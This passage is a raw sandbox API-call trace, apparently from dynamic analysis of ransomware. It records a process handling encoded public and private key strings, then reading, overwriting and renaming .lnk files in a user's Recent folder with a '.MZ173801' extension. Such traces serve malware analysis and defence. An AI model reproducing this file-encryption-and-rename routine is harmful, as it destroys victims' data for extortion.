lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.448] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.448] GetCurrentThreadId () returned 0xab4 [0152.448] GetCurrentThreadId () returned 0xab4 [0152.448] GetCurrentThreadId () returned 0xab4 [0152.448] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v32KoNWBg.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v32konwbg.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.449] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.449] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.449] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x3b5 [0152.449] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.449] ReadFile (in: hFile=0x280, lpBuffer=0x253dea0, nNumberOfBytesToRead=0x3b5, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x253dea0*, lpNumberOfBytesRead=0x19fa18*=0x3b5, lpOverlapped=0x0) returned 1 [0152.450] CloseHandle (hObject=0x280) returned 1 [0152.450] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v32KoNWBg.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v32konwbg.lnk"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.452] WriteFile (in: hFile=0x280, lpBuffer=0x253fed0*, nNumberOfBytesToWrite=0x3b5, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x253fed0*, lpNumberOfBytesWritten=0x19fa24*=0x3b5, lpOverlapped=0x0) returned 1 [0152.472] CloseHandle (hObject=0x280) returned 1 [0152.477] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v32KoNWBg.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v32konwbg.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\v32KoNWBg.lnk.MZ173801" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\v32konwbg.lnk.mz173801")) returned 1 [0152.483] GetCurrentThreadId () returned 0xab4 [0152.483] GetCurrentThreadId () returned 0xab4 [0152.484] GetCurrentThreadId () returned 0xab4 [0152.485] GetCurrentThreadId () returned 0xab4 [0152.485] GetCurrentThreadId () returned 0xab4 [0152.485] GetCurrentThreadId () returned 0xab4 [0152.485] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42998d7b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x42998d7b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x42998d7b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="vB8zsHUk.lnk", cAlternateFileName="")) returned 1 [0152.485] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0152.485] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0152.485] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vB8zsHUk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vb8zshuk.lnk"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x42998d7b, ftCreationTime.dwHighDateTime=0x1d61fff, ftLastAccessTime.dwLowDateTime=0x42998d7b, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x42998d7b, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x27e)) returned 1 [0152.485] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vB8zsHUk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vb8zshuk.lnk")) returned 0x20 [0152.485] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vB8zsHUk.lnk", dwFileAttributes=0x80) returned 1 [0152.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0152.516] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x252503c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0152.517] GetCurrentThreadId () returned 0xab4 [0152.517] GetCurrentThreadId () returned 0xab4 [0152.517] GetCurrentThreadId () returned 0xab4 [0152.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0152.518] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x253609c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0152.519] GetCurrentThreadId () returned 0xab4 [0152.519] GetCurrentThreadId () returned 0xab4 [0152.519] GetCurrentThreadId () returned 0xab4 [0152.519] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\vB8zsHUk.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\vb8zshuk.lnk"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x280 [0152.519] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0152.519] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0152.519] SetFilePointer (in: hFile=0x280, lDistanceToMove=0, 